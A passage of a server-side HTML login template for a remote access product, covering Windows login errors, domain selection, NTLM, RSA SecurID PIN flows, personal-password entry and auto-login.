<b>&MSG.LOGIN.WEBSVC.ERRMSG1326NOLOCK&&nbsp;(&MSG.DIALOG.ERROR& 1326)</b>
<?else?>
<?if REMAININGTRIES is "1"?>
<b>&MSG.LOGIN.WEBSVC.ERRMSG1326LAST&&nbsp;(&MSG.DIALOG.ERROR& 1326)</b>
<?else?>
<b>&MSG.LOGIN.WEBSVC.ERRMSG1326&&nbsp;<?&REMAININGTRIES?>&nbsp;(&MSG.DIALOG.ERROR& 1326)</b>
<?endif?>
<?endif?>
<?elseif WINERRNUM has "1327"?>
<?if NOLOGONLOCK?>
<b>&MSG.LOGIN.WEBSVC.ERRMSG1326NOLOCK&&nbsp;(&MSG.DIALOG.ERROR& 1327)</b>
<?else?>
<?if REMAININGTRIES is "1"?>
<b>&MSG.LOGIN.WEBSVC.ERRMSG1326LAST&&nbsp;(&MSG.DIALOG.ERROR& 1327)</b>
<?else?>
<b>&MSG.LOGIN.WEBSVC.ERRMSG1326&&nbsp;<?&REMAININGTRIES?>&nbsp;(&MSG.DIALOG.ERROR& 1327)</b>
<?endif?>
<?endif?>
<?elseif WINERRNUM has "4320"?>
<?if NOLOGONLOCK?>
<b>&MSG.LOGIN.WEBSVC.ERRMSG4320NOLOCK&&nbsp;(&MSG.DIALOG.ERROR& 4320)</b>
<?else?>
<?if REMAININGTRIES is "1"?>
<b>&MSG.LOGIN.WEBSVC.ERRMSG4320LAST&&nbsp;(&MSG.DIALOG.ERROR& 4320)</b>
<?else?>
<b>&MSG.LOGIN.WEBSVC.ERRMSG4320&&nbsp;<?&REMAININGTRIES?>&nbsp;(&MSG.DIALOG.ERROR& 4320)</b>
<?endif?>
<?endif?>
<?else?>
<b><?&MSG.DIALOG.ERROR?>:&nbsp;<?&WINERRMSG?></b>
<?endif?>
<?else?>
<?if WINERRNUM has "1326"?>
<?elseif WINERRNUM has "1327"?>
<?elseif WINERRNUM has "1331"?>
<?elseif WINERRNUM has "4320"?>
<?elseif WINERRNUM has "5"?>
<?else?>
<b><?&MSG.DIALOG.ERROR?>:&nbsp;<?&WINERRMSG?></b>
<?endif?>
<?endif?>
<?if not LORES and not BRAND.LOGMEIN?>
</td></tr></table></fieldset>
<?endif?>
<?endif?>
<!-- User name & password -->
<script language="JavaScript">
<!--
function chk(f, ntlm) {
var un = f['username'].value;
var pw = f['password'].value;
var url = document.location.href;
if (f.ssl) {
if (f.ssl.checked && url.substring(0, 5) == "http:")
f.action = "https:" + url.substring(5, url.lastIndexOf('/')) + "/" + f.action;
if (!f.ssl.checked && url.substring(0, 5) == "https:")
f.action = "http:" + url.substring(6, url.lastIndexOf('/')) + "/" + f.action;
}
if (ntlm || un.length > 0) {
flipDivs();
ntlm_clicked = ntlm;
return true;
} else if (!ntlm_clicked) {
alert('$MSG.LOGIN.USER.EMPTY$');
f['username'].focus();
return false;
}
}
//-->
</script>

<div id="loginstuff">
<?if STOPPING?>
<script language="JavaScript">
<!--
winHide('loginstuff');
winHide('chatstuff');
//-->
</script>
<?endif?>

<br>
<?usemacro FLDSET(MSG.LOGIN.AUTH)?>
<table style="margin-left: 4px" width="<?if BRAND.LOGMEIN?>95%<?else?>80%<?endif?>">
<?if SingleUser // WindowsXP single-user mode?>
<!-- <input type="hidden" name="username" value="&SingleUser&" id="usr"><?// do not change this line, Ignition parses this?> //-->
<?endif?>
<?if SingleUser and not SHOWSUADV="1" // WindowsXP single-user mode?>
<tr>
<td align="center" colspan="2" style="padding-bottom: 15px;">
<input type="hidden" name="username" value="&SingleUser&" id="usr"><?// do not change this line, Ignition parses this?>
<?if not ISUNIX?>
<input type="hidden" name="domain" value="&HOSTNAME&" id="dmn">
<?endif?>
<input type="hidden" name="login" value="1">									
<?if WINERRMSG?><span class="errortxt"><b>&MSG.LOGIN.WEBSVC.PWDONLYLOGINFAILED&</b></span><br><?usemacro LMILOGINHELPPWDONLYHINTLINK()?><?endif?>
<?if not LORES?><br><?endif?>									
<?if REACTIVESUPPORT?>&MSG.LOGIN.RSLOGIN.DESC&<?else?>&MSG.LOGIN.WEBSVC.PWDONLY&<?endif?>
<?if not LORES?><br><?endif?>
</td>
</tr>
<tr>
<td<?if not LORES?> width="45"<?endif?>></td>
<td>
<input id="pwd" type="password" autocomplete="off" class="txt" name="password" value="" onkeypress="InterruptAutoLogin();">
</td>
</tr>
<?if BRAND.LOGMEIN?>
<?usemacro LMIAUTOLOGINREMEMBERPASSWORD()?>
<?endif?>
<tr><td colspan="2" height="5"></td></tr>
<?usemacro LMILOGINBUTTONS()?>
<?else?>
<?if not LORES or BRAND.LOGMEIN?>
<tr>
<td align="center" colspan="2">
<?if not BRAND.LOGMEIN?><br>
&MSG.LOGIN.WEBSVC.USRPWD&
<?else?>
<?if WINERRMSG?>
<span class="errortxt"><b>
<?if WEBSVC.EMAIL is REQ.USERNAME?>&MSG.LOGIN.WEBSVC.ERRMSGEMAIL&<?else?>&MSG.LOGIN.WEBSVC.LOGINFAILED&&nbsp;($WINERRNUM$)<?endif?>
<br>
<?endif?>
<?if WINERRNUM has "1331"?>&MSG.LOGIN.WEBSVC.ERRMSGIPLOCKED&<?elseif WINERRNUM has "4320"?>&MSG.LOGIN.WEBSVC.ERRMSG4320NOLOCK&<?else?>&MSG.LOGIN.WEBSVC.USRPWD&<?endif?>
<?if WINERRMSG?></b></span><br><?endif?>
<?if WINERRNUM has "1326" or WINERRNUM has "1327" or WINERRNUM has "5"?>&MSG.LOGIN.WEBSVC.HINT&<?elseif WINERRNUM has "4320"?><?usemacro LMILOGINHELP4320LINK()?><?endif?>
<?endif?>
<?if IsViaWebSvc?>
<?if not LORES?><br>&nbsp;<br><?endif?>
<?else?>
<br><br>
<?endif?>
</td>
<?if not LORES?><td></td><?endif?>
</tr>
<?endif?>
<?if REQ.SHOWSUADV
set REQ.USERNAME = ""
endif?>
<tr>
<td align="<?if BRAND.LOGMEIN?>left<?else?>right<?endif?>"><label for="usr"><?&MSG.LOGIN.USER?></label>&nbsp;</td>
<td>
<input id="usr" type="text" class="txt" name="username" value="&REQ.USERNAME&" onkeypress="InterruptAutoLogin();"
<?if not BRAND.LOGMEIN?>
size="<?if LORES?>15<?else?>25<?endif?>"
<?endif?>
<?if not REQ.USERNAME?>
autofocus
<?endif?>
>
</td>
<?if not LORES?><td></td><?endif?>
</tr>
<tr>
<td align="<?if BRAND.LOGMEIN?>left<?else?>right<?endif?>"><label for="pwd"><?&MSG.LOGIN.PASS?></label>&nbsp;</td>
<td style="vertical-align: bottom">
<input id="pwd" type="password" autocomplete="off" class="txt" name="password" value="" onkeypress="InterruptAutoLogin();"
<?if not BRAND.LOGMEIN?>
size="<?if LORES?>15<?else?>25<?endif?>"
<?endif?>
<?if REQ.USERNAME?>
autofocus
<?endif?>
>
</td>
<?if IsNT and IsDomainMember?>
<?if CFG.Auth.DontListDomains = "1"?>
<?set REQ.NODOMAINLIST = "1"?>
<?endif?>
<?if not REQ.NODOMAINLIST?>
<? action "trusteddomainlist" ?>
<?endif?>
<?if not LORES?><td></td><?endif?>
</tr>
<tr>
<td align="<?if BRAND.LOGMEIN?>left<?else?>right<?endif?>" nowrap><label for="dmn"><?&MSG.LOGIN.LOGONTO?></label>&nbsp;</td>
<td>
<?if TRUSTEDDOMAINLIST?>
<SCRIPT LANGUAGE="JavaScript"><!--
function domainSelected(item) { 
InterruptAutoLogin();
if (item.options[item.selectedIndex].value == "OTHER=NOT=IN=LIST") {
window.location.replace("/?nodomainlist=1");
}
}
//--></SCRIPT>
<? // do not change this <select>, Ignition parses this ?>
<select id="dmn" class="txt" name="domain" onBlur="domainSelected(this);">
<?if not REQ.DOMAIN 
set REQ.DOMAIN = DEFAULTDOMAIN
endif?>
<?enum TRUSTEDDOMAINLIST?>
<option value="&TRUSTEDDOMAINLIST.PLAINNAME&" 
<?if REQ.DOMAIN = TRUSTEDDOMAINLIST.PLAINNAME?> 
selected 
<?endif?>
>&TRUSTEDDOMAINLIST.PLAINNAME&<?
if not THISCOMPUTER?> &MSG.LOGIN.THISCOMPUTER&<?
set THISCOMPUTER = "1"
endif
?></option>
<?next?>
<?if not EXTAUTH?>
<option value="OTHER=NOT=IN=LIST">&MSG.LOGIN.OTHER&</option>
<?endif?>
</select>
<?else?>
<input id="dmn" type="text" class="txt" name="domain" value="&REQ.DOMAIN&" onkeypress="InterruptAutoLogin();" <?if not BRAND.LOGMEIN?>size="<?if LORES?>15<?else?>25<?endif?>"<?endif?>>
<?endif?>
</td>
<?endif // ISNT?>
<?if not BRAND.LOGMEIN and not LORES?>
<td align="right">
<div class="button"><span class="buttonleft">&nbsp;</span><input type="submit" class="buttonmid" name="login" value="&MSG.LOGIN.SUBMIT&" onclick="OnSubmit(false); return chk(this.form)"><span class="buttonright">&nbsp;</span></div>
</td>
<?endif?>
</tr>
<?if BRAND.LOGMEIN?> 
<?usemacro LMIAUTOLOGINREMEMBERPASSWORD()?>
<tr><td colspan="2" height="5"></td></tr>
<?usemacro LMILOGINBUTTONS()?>
<?else?>
<?if LORES?>
<?usemacro LANGSELECT()?>
<tr><td colspan="2" height="5"></td></tr>
<tr><td colspan="2" align="center">
<div class="button"><span class="buttonleft">&nbsp;</span><input type="submit" class="buttonmid" name="login" value="&MSG.LOGIN.SUBMIT&" onclick="OnSubmit(false); return chk(this.form)"><span class="buttonright">&nbsp;</span></div>
</td></tr>
<?endif?>
<?endif?>
<?endif?>
<tr>
<td></td>
<td><?if SingleUser and not SHOWSUADV="1"?><?usemacro LMILOGINHELPPWDONLYLINK()?><?else?><?usemacro LMILOGINHELPLINK()?><?endif?></td>
</tr>
<tr>
<td colspan="2"></td>
</tr>
</table><?if not BRAND.LOGMEIN and not LORES?><br><?endif?>
<?usemacro FLDEND()?>

<!-- NTLM -->
<?if IsNtlmAvailable?>
<div style="width: 100%; height: 2px; margin-top: 10px; background: url('/img/login_separator.gif') repeat-x;"></div>
<?usemacro FLDSET(MSG.LOGIN.NTLMSET)?>

<?if STOPPING?>
<script language="JavaScript">
<!--
winHide('loginstuff');
winHide('chatstuff');
//-->
</script>
<?endif?>

<table style="margin: 0px; padding: 0px;" width="<?if BRAND.LOGMEIN?>90%<?else?>80%<?endif?>">
<tr>
<td><?&MSG.LOGIN.NTLM?></td>
<td align="right">
<div class="button"><span class="buttonleft">&nbsp;</span><input type="submit" class="buttonmid" name="ntlm" id="ntlmid" value="&MSG.LOGIN.SUBMIT&" onclick="OnSubmit(false); return chk(this.form, true)"><span class="buttonright">&nbsp;</span></div>
</td>
</tr>
</table><?if not BRAND.LOGMEIN?><br><?endif?>
<?usemacro FLDEND()?>
<?endif?>

<?if not SSLOK?>
<?usemacro FLDSET(MSG.LOGIN.SSL)?>
<table cellpadding="4"><tr><td><?if LORES?><?&MSG.LOGIN.NOSSLPDA?><?else?><?&MSG.LOGIN.NOSSL?><?endif?></td></tr></table>
<?usemacro FLDEND()?>
<?endif?>

<?if not BRAND.LOGMEIN and not NOLICENSE and not LORES?>
<!-- Options -->
<?if not REQ.OPTIONS?>
<br><br>
<div class="button"><span class="buttonleft">&nbsp;</span><input type="submit" class="buttonmid" name="options.on" value="&MSG.LOGIN.OPTIONS.ON&" onclick="this.form['password'].value=''; flipDivs(); return true;"><span class="buttonright">&nbsp;</span></div>
<input type="hidden" name="go" value="&REQ.GO&">
<input type="hidden" name="ui" value="&REQ.UI&">
<br><br>
<?else?>
<?usemacro FLDSET(MSG.LOGIN.OPTIONS)?>
<table cellpadding="0" cellspacing="0">
<col align="right">
<col align="left">

<tr>
<td><label for="go-r">&MSG.LOGIN.GO.REMCTRL&</label></td>
<td><input id="go-r" type="radio" name="go" value="r" <?checked REQ.GO="r"?>></td>
</tr>
<tr>
<td><label for="go-f">&MSG.LOGIN.GO.FILEXFER&</label></td>
<td><input id="go-f" type="radio" name="go" value="f" <?checked REQ.GO="f"?>></td>
</tr>
<tr>
<td><label for="go">&MSG.LOGIN.GO.MAINMENU&</label></td>
<td><input id="go" type="radio" name="go" value="" <?checked REQ.GO="m"?>></td>
</tr>
<tr><td colspan="2">&nbsp;</td></tr>

<?if LICENSE.PRODUCT != "secrem"?>
<tr>
<td><label for="ui-f">&MSG.LOGIN.UI.HIGH&</label></td>
<td><input id="ui-f" type="radio" name="ui" value="full" <?checked UI != "light"?>></td>
</tr>
<tr>
<td><label for="ui-l">&MSG.LOGIN.UI.LOW&</label></td>
<td><input id="ui-l" type="radio" name="ui" value="light" <?checked UI = "light"?>></td>
</tr>
<tr><td colspan="2">&nbsp;</td></tr>
<?endif?>

<?if SSL // connected through ssl?>
<input type="hidden" name="ssl" value="1" checked>
<?elseif SSLOK // ssl available?>
<tr>
<td><label for="ssl">&MSG.LOGIN.SSL&</label></td>
<td><input id="ssl" type="checkbox" name="ssl" value="1" checked></td>
</tr>
<?if not LORES?><tr><td colspan="2">&nbsp;</td></tr><?endif?>
<?endif?>

<?usemacro LANGSELECT()?>
<tr><td colspan="2">&nbsp;</td></tr>

</table>
<?usemacro FLDEND()?>

<?if not BRAND.LOGMEIN?>
<br><br>
<div class="button"><span class="buttonleft">&nbsp;</span><input type="submit" class="buttonmid" name="options.off" value="&MSG.LOGIN.OPTIONS.OFF&" onclick="this.form['password'].value=''; flipDivs(); return true;"><span class="buttonright">&nbsp;</span></div>
<br><br>
<?endif?>

<?endif // REQ.OPTIONS?>
<?endif // BRAND.LOGMEIN?>
</div>

<?elseif RSASTATE != "0" // windows auth done, need RSA?>

<!-- RSA SecurID authentication -->
<input type="hidden" name="go" value="&REQ.GO&">

<?
if RSASTATE="1"
// check if RSA/ACE server is available
action "login"
usemacro WINERRDLG()
endif
?>
<?switch RSASTATE?>
<?case "1" // RSA_NEEDAUTH?>
<?case "2" // RSA_PASSCODE?>

<!-- RSA User ID and PASSCODE -->
<input type="hidden" name="login" value="1">
<?usemacro FLDSET(MSG.LOGIN.RSA.AUTH)?><?if BRAND.LOGMEIN?><span style="text-align: left">&MSG.LOGIN.RSA.PASSCODENOTE&</span><br><?endif?><br>
<table width="80%">
<tr>
<td align="right"><label for="rid"><?&MSG.LOGIN.RSA.USERID?>:</label>&nbsp;</td>
<td>
<?if RSAEQNAME?>
&RSAID&
<?else?>
<input id="rid" type="text" class="txt" name="rsaid" value="&RSAID&" <?if not BRAND.LOGMEIN?>size="<?if LORES?>15<?else?>25<?endif?>"<?endif?>>
<?endif?>
</td>
</tr>
<tr>
<td align="right"><label for="pas"><?&MSG.LOGIN.RSA.PASSCODE?>:</label>&nbsp;</td>
<td><input id="pas" type="password" autocomplete="off" class="txt" name="passcode" value="" <?if not BRAND.LOGMEIN?>size="<?if LORES?>15<?else?>25<?endif?>"<?endif?>></td>
</tr>
<tr>
<td align="center" colspan="2"><?if not BRAND.LOGMEIN?><?&MSG.LOGIN.RSA.PASSCODENOTE?><?endif?></td>
</tr>
<tr>
<?if BRAND.LOGMEIN?>
<td></td>
<td align="left">
<div class="button" style="display: inline;"><span class="buttonleft">&nbsp;</span><input type="submit" class="buttonmid" name="login" value="&MSG.DIALOG.OK&" onclick="OnSubmit(false); flipDivs(); return true;"><span class="buttonright">&nbsp;</span></div>
<div class="button" style="display: inline;"><span class="buttonleft">&nbsp;</span><input type="button" class="buttonmid" name="login" value="&MSG.DIALOG.CANCEL&" onclick="flipDivs(); location.replace('$TEMPLATE$?logout=yes')"><span class="buttonright">&nbsp;</span></div>
</td>
<?else?>
<td align="center" colspan="2">
<br>
<div class="button"><span class="buttonleft">&nbsp;</span><input type="submit" class="buttonmid" name="login" value="&MSG.DIALOG.OK&" onclick="OnSubmit(false); flipDivs(); return true;"><span class="buttonright">&nbsp;</span></div>
</td>
<?endif?>
</tr>
</table>
<?usemacro FLDEND()?><?if not BRAND.LOGMEIN?><br><br><?endif?>
<?
if IsViaConsole
set resphdr XRAAuthChallengeName = MSG.LOGIN.RSA.AUTH
set resphdr XRAAuthChallengeType = "Q2"
set resphdr XRAAuthChallengeN1 = "rsaid"
if RSAEQNAME
set resphdr XRAAuthChallengeS1 = MSG.LOGIN.RSA.USERID
else
set resphdr XRAAuthChallengeQ1 = MSG.LOGIN.RSA.USERID
endif
set resphdr XRAAuthChallengeA1 = RSAID
set resphdr XRAAuthChallengeN2 = "passcode"
set resphdr XRAAuthChallengeP2 = MSG.LOGIN.RSA.PASSCODE
set resphdr XRAAuthChallengeM2 = MSG.LOGIN.RSA.PASSCODENOTE
endif
?>

<?case "3" // RSA_NEXTTOKEN?>

<!-- Next RSA token code -->
<input type="hidden" name="login" value="1">
<?usemacro FLDSET(MSG.LOGIN.RSA.AUTH)?><br>
<table width="80%">
<tr><td colspan="2" align="center"><?&MSG.LOGIN.RSA.NEXTTOKENCODE?></td></tr>
<tr>
<td align="right"><label for="tok"><?&MSG.LOGIN.RSA.TOKENCODE?>:</label>&nbsp;</td>
<td><input id="tok" type="password" autocomplete="off" class="txt" name="nexttoken" value="" <?if not BRAND.LOGMEIN?>size="<?if LORES?>15<?else?>25<?endif?>"<?endif?>></td>
</tr>
<tr>
<?if BRAND.LOGMEIN?>
<td></td>
<td align="left">
<?else?>
<td align="center" colspan="2">
<br>
<?endif?>
<div class="button"><span class="buttonleft">&nbsp;</span><input type="submit" class="buttonmid" name="login" value="&MSG.DIALOG.OK&" onclick="OnSubmit(false); flipDivs(); return true;"><span class="buttonright">&nbsp;</span></div>
</td>
</tr>
</table>
<?usemacro FLDEND()?><br><br>
<?
if IsViaConsole
set resphdr XRAAuthChallengeName = MSG.LOGIN.RSA.AUTH
set resphdr XRAAuthChallengeType = "Q1"
set resphdr XRAAuthChallengeMsg = MSG.LOGIN.RSA.NEXTTOKENCODE
set resphdr XRAAuthChallengeN1 = "nexttoken"
set resphdr XRAAuthChallengeP1 = MSG.LOGIN.RSA.TOKENCODE
endif
?>

<?case "4" // RSA_NEWPIN?>

<!-- New user assigned PIN code -->
<script language="JavaScript">
<!--
function chkpin(f) {
var p1 = f['pin'].value;
var p2 = f['pinconfirm'].value;
var i, c;

if (p1 != p2) {
alert('$MSG.LOGIN.RSA.ERROR.PINSDONTMATCH$');
f['pin'].focus();
return false;
}

if (p1.length < &MINPIN& || p1.length > &MAXPIN&) {
alert('$MSG.LOGIN.RSA.ERROR.PINLENGTH$');
f['pin'].focus();
return false;
}

<?if DIGIPIN?>
for (i = 0; i < p1.length ; i++) {
c = p1.charCodeAt(i);
if (c < 48 || c > 57) {	// '0' - '9'
alert('$MSG.LOGIN.RSA.ERROR.PINDIGI$');
f['pin'].focus();
return false;
}
}
<?endif?>

flipDivs();
return true;
}
//-->
</script>

<input type="hidden" name="login" value="1">
<?usemacro FLDSET(MSG.LOGIN.RSA.AUTH)?><br>
<table width="80%">
<tr><td colspan="2" align="center">
<?if DIGIPIN?>
<?if MINPIN=MAXPIN?>
<?&MSG.LOGIN.RSA.NEWPIN?>
<?else?>
<?&MSG.LOGIN.RSA.NEWPINV?>
<?endif?>
<?else?>
<?if MINPIN=MAXPIN?>
<?&MSG.LOGIN.RSA.NEWPINAN?>
<?else?>
<?&MSG.LOGIN.RSA.NEWPINANV?>
<?endif?>
<?endif?>
</td></tr>
<tr>
<td align="right"><label for="pin"><?&MSG.LOGIN.RSA.PIN?></label>&nbsp;</td>
<td><input id="pin" type="password" autocomplete="off" class="txt" name="pin" value="" <?if not BRAND.LOGMEIN?>size="<?if LORES?>15<?else?>25<?endif?>"<?endif?>></td>
</tr>
<tr>
<td align="right"><label for="pinconfirm"><?&MSG.LOGIN.RSA.PINCONFIRM?></label>&nbsp;</td>
<td><input id="pinconfirm" type="password" autocomplete="off" class="txt" name="pinconfirm" value="" <?if not BRAND.LOGMEIN?>size="<?if LORES?>15<?else?>25<?endif?>"<?endif?>></td>
</tr>
<tr>
<?if BRAND.LOGMEIN?>
<td></td>
<td align="left">
<?else?>
<td colspan="2" align="center">
<br>
<?endif?>
<div class="button" style="display: inline;"><span class="buttonleft">&nbsp;</span><input type="submit" class="buttonmid" name="login" value="&MSG.DIALOG.OK&" onclick="if (!chkpin(this.form)) {return false;} OnSubmit(false);"><span class="buttonright">&nbsp;</span></div>
<?if RSACANGENPIN?>
<div class="button" style="display: inline;"><span class="buttonleft">&nbsp;</span><input type="submit" class="buttonmid" name="genpin" value="*&MSG.LOGIN.RSA.GENERATEPIN&" onclick="OnSubmit(false); flipDivs(); return true;"><span class="buttonright">&nbsp;</span></div>
<?endif?>
</td>
</tr>
</table><br>
<?if RSACANGENPIN?>*<?&MSG.LOGIN.RSA.SYSPINNOTE?><br><br><?endif?>
<?usemacro FLDEND()?><br><br>
<?
if IsViaConsole
set resphdr XRAAuthChallengeName = MSG.LOGIN.RSA.AUTH
set resphdr XRAAuthChallengeN1 = "pin"
set resphdr XRAAuthChallengeP1 = MSG.LOGIN.RSA.PIN
set resphdr XRAAuthChallengeN2 = "pinconfirm"
set resphdr XRAAuthChallengeP2 = MSG.LOGIN.RSA.PINCONFIRM
if DIGIPIN
if MINPIN=MAXPIN
set resphdr XRAAuthChallengeMsg = MSG.LOGIN.RSA.NEWPIN
else
set resphdr XRAAuthChallengeMsg = MSG.LOGIN.RSA.NEWPINV
endif
else
if MINPIN=MAXPIN
set resphdr XRAAuthChallengeMsg = MSG.LOGIN.RSA.NEWPINAN
else
set resphdr XRAAuthChallengeMsg = MSG.LOGIN.RSA.NEWPINANV
endif
endif
if RSACANGENPIN
set resphdr XRAAuthChallengeType = "Q2B"
set resphdr XRAAuthChallengeN3 = "genpin"
set resphdr XRAAuthChallengeB3 = MSG.LOGIN.RSA.GENERATEPIN
set resphdr XRAAuthChallengeM3 = MSG.LOGIN.RSA.SYSPINNOTE
else
set resphdr XRAAuthChallengeType = "Q2P"
endif
endif
?>

<?case "5" // RSA_NEWPINSYS?>

<!-- ready for system generated pin? -->
<?usemacro FLDSET(MSG.LOGIN.RSA.AUTH)?><br>
&MSG.LOGIN.RSA.NEWPINSYS&
<br><br>
<input type="hidden" name="login" value="1">
<div style="width: 180px; margin-left: auto; margin-right: auto;">
<div class="button" style="display: inline;"><span class="buttonleft">&nbsp;</span><input type="submit" class="buttonmid" name="ok" value="&MSG.DIALOG.OK&" onclick="OnSubmit(false); flipDivs(); return true;"><span class="buttonright">&nbsp;</span></div>
<div class="button" style="display: inline;"><span class="buttonleft">&nbsp;</span><input type="submit" class="buttonmid" name="cancel" value="&MSG.DIALOG.CANCEL&" onclick="OnSubmit(false); flipDivs(); return true;"><span class="buttonright">&nbsp;</span></div>
</div>
<br><br>
<?usemacro FLDEND()?><br><br>
<?
if IsViaConsole
set resphdr XRAAuthChallengeType = "OKCANCEL"
set resphdr XRAAuthChallengeName = MSG.LOGIN.RSA.AUTH
set resphdr XRAAuthChallengeMsg = MSG.LOGIN.RSA.NEWPINSYS
endif
?>

<?case "6" // RSA_NEWPINDISP?>

<!-- display system generated pin -->
<?usemacro FLDSET(MSG.LOGIN.RSA.AUTH)?><br>
&MSG.LOGIN.RSA.NEWPINDISP&<br><br>
&MSG.LOGIN.RSA.NEWPINDISPNOTE&
<br><br>
<input type="hidden" name="login" value="1">
<div class="button"><span class="buttonleft">&nbsp;</span><input type="submit" class="buttonmid" name="login" value="&MSG.DIALOG.OK&" onclick="OnSubmit(false); flipDivs(); return true;"><span class="buttonright">&nbsp;</span></div>
<br><br>
<script language="JavaScript">
<!--
setTimeout("document.forms.loginform.submit()", 10000);
//-->
</script>
<?usemacro FLDEND()?><br><br>
<?
if IsViaConsole
set resphdr XRAAuthChallengeType = "OK"
set resphdr XRAAuthChallengeName = MSG.LOGIN.RSA.AUTH
set resphdr XRAAuthChallengeMsg = MSG.LOGIN.RSA.NEWPINDISP "\r\n" MSG.LOGIN.RSA.NEWPINDISPNOTE
set resphdr XRAAuthChallengeDisp = "10000"
endif
?>

<?endswitch // RSASTATE?>

<!-- Personal password authentication -->
<?elseif PPWDSTATE = "1"?>
<?usemacro FLDSET("")?>
<?if IsViaConsole
set resphdr XRAAuthChallengeType = "PPWD"
set resphdr XRAAuthChallengeName = MSG.LOGIN.PPWD.LEGEND
set resphdr XRAAuthChallengePPWD = PPWDCHALLENGE
endif?>
<?if PPWDOK = "0"?>
&MSG.LOGIN.PPWD.FAILED&<br><br>
<?if IsViaConsole
set resphdr XRAAuthChallengeMsg = MSG.LOGIN.PPWD.FAILED
endif?>
<?else?>
&MSG.LOGIN.PPWD.DESC&<br>
<?if IsViaConsole
set resphdr XRAAuthChallengeMsg = MSG.LOGIN.PPWD.DESC
endif?>
<?endif?>
<?usemacro FLDEND()?>
<?usemacro FLDSET(MSG.LOGIN.PPWD.LEGEND)?>
<?set N = "0"
enum PPWD
if PPWD.NEED="1"
switch N
case "ppwdc2"
set N="ppwdc3"
case "ppwdc1"
set N="ppwdc2"
case "0"
set N="ppwdc1"
endswitch?>
<select name="<?&N?>" onkeypress="if (event.keyCode == 13) {onPPEnter(); return false;}">
<option value="blank" selected="selected">&nbsp;</option>
<option value="A">A</option>
<option value="B">B</option>
<option value="C">C</option>
<option value="D">D</option>
<option value="E">E</option>
<option value="F">F</option>
<option value="G">G</option>
<option value="H">H</option>
<option value="I">I</option>
<option value="J">J</option>
<option value="K">K</option>
<option value="L">L</option>
<option value="M">M</option>
<option value="N">N</option>
<option value="O">O</option>
<option value="P">P</option>
<option value="Q">Q</option>
<option value="R">R</option>
<option value="S">S</option>
<option value="T">T</option>
<option value="U">U</option>
<option value="V">V</option>
<option value="W">W</option>
<option value="X">X</option>
<option value="Y">Y</option>
<option value="Z">Z</option>
<option value="0">0</option>
<option value="1">1</option>
<option value="2">2</option>
<option value="3">3</option>
<option value="4">4</option>
<option value="5">5</option>
<option value="6">6</option>
<option value="7">7</option>
<option value="8">8</option>
<option value="9">9</option>
</select>
<?else?>
<font size=+2><b>_</b></font>
<?endif
next?>
<br><br>
<input type="hidden" name="do_pp_logon" value=""/>
<div class="button"><span class="buttonleft">&nbsp;</span><input type="submit" class="buttonmid" name="logon" value="&MSG.LOGIN.SUBMIT&" onclick="OnSubmit(false); flipDivs(); return true;"><span class="buttonright">&nbsp;</span></div>
<br />
<?usemacro FLDEND()?>
<?usemacro LMILOGINHELPPPWDLINK()?>
<!-- end ppwd auth -->

<?endif // NOCOOKIE, not USERNAME?>

<div id="autologinframe" style="display:none; margin-bottom:20px; margin-top:20px; font: bold 12px arial;>
<p style="margin-left:-4px;">
<img src="/img/loader_small.gif" height="14px" width="14px" style="vertical-align:middle"/> 
<span>&MSG.LOGIN.PERFORMAUTOLOGON&</span>
</p>
<div style="margin-bottom:20px; margin-top:15px; width: 80px;">
<span class="buttonleft">&nbsp;</span><input type="button" class="buttonmid" name="login_cancel" id="Cancel" value="&MSG.DIALOG.CANCEL&" onclick="InterruptAutoLogin();"><span class="buttonright" style="width:4px;">&nbsp;</span>
</div><br>
</div>
<?if not ISUNIX?>
<div style="font: normal 10px arial; color: #5e8ca4">
<?action "getactiveuser" ?>					
<?if ACTIVEUSERNAME = "NONE" ?>							    
&MSG.LOGIN.USERNOTLOGGEDIN&
<?else?>
<?if ACTIVEUSERMEASSUREMENT = "DAYS" ?>								    
&MSG.LOGIN.USERAWAY& &ACTIVEUSERLASTINPUT& <?if ACTIVEUSERLASTINPUT = 1?>&MSG.ADMIN.SCHEDULE.xday&<?else?>&MSG.ADMIN.SCHEDULE.xdays&<?endif?>
<?elseif ACTIVEUSERMEASSUREMENT = "HOURS" ?>
&MSG.LOGIN.USERAWAY& &ACTIVEUSERLASTINPUT& <?if ACTIVEUSERLASTINPUT = 1?>&MSG.ADMIN.SCHEDULE.xhour&<?else?>&MSG.ADMIN.SCHEDULE.xhours&<?endif?>
<?elseif ACTIVEUSERMEASSUREMENT = "MINS" ?>
&MSG.LOGIN.USERAWAY& &ACTIVEUSERLASTINPUT& <?if ACTIVEUSERLASTINPUT = 1?>&MSG.ADMIN.SCHEDULE.xmin&<?else?>&MSG.ADMIN.SCHEDULE.xmins&<?endif?>
<?else?>
&MSG.LOGIN.USERBUSY&
<?endif?>					    
<?endif?>
</div>
<?endif?>

</center>
<?if not LORES?>
</div>
</div>
<div id="workingdiv" <?if not BRAND.LOGMEIN?>class="subwindow" <?endif?>style="<?if not BRAND.LOGMEIN?>position:relative;<?endif?> width: 100%; height:auto;visibility:visible;<?if BRAND.LOGMEIN?> border: 0px;<?endif?> display:none">
<div class="clientAreaLogin">
&nbsp;<br>
<center><b>&MSG.DIALOG.WAIT&</b></center><br>
&nbsp;<br>
</div>
</div>
<?if BRAND.LOGMEIN?>
</td>
<td class="login_box_right"></td>
</tr>
<tr>
<td style="border-bottom: 0px none; background: url('/img/login_corners.gif') repeat scroll 0 -37px; height: 35px; width: 15px;" valign="top" align="left"></td>
<td style="border-bottom: 0px none; background: url('/img/login_mid.gif') repeat-x scroll 0px 0px; height: 35px; color: rgb(255, 255, 255); padding-top: 7px;" valign="top" align="left">
<?if ACTIVEUSERNAME != "NONE" and not ISUNIX and not IPLOCKEDOUT?>
<div id="chatstuff" style="font: normal 11px arial;">
<input style="margin-top: 2px;" id="InitiateChat" type="checkbox" name="go" value="c" onclick="flipLoginBtnText(this.checked)" <?checked REQ.GO="c"?>><label for="InitiateChat">&MSG.LOGIN.INITIATECHAT&</label>
</div>
<?endif?>
</td>
<td style="border-bottom: 0px none; background: url('/img/login_corners.gif') repeat scroll -15px -37px; height: 35px; width: 15px;" valign="top" align="right"></td>
</tr>
</table>
<?if HASIFRAME = 1?>
<script type="text/javascript">
function IFrameLoaded()
{
if (typeof(window.autoLogin) == "object" && typeof(window.autoLogin.iFrameLoadedListener) == "function")
{
autoLogin.iFrameLoadedListener();
}
}

function InitIFrame()  {
var ifr = document.getElementById("ifr");
if (!ifr)
return;
var chkRemPassContainer = document.getElementById("chkRemPassContainer");
if (chkRemPassContainer)
{
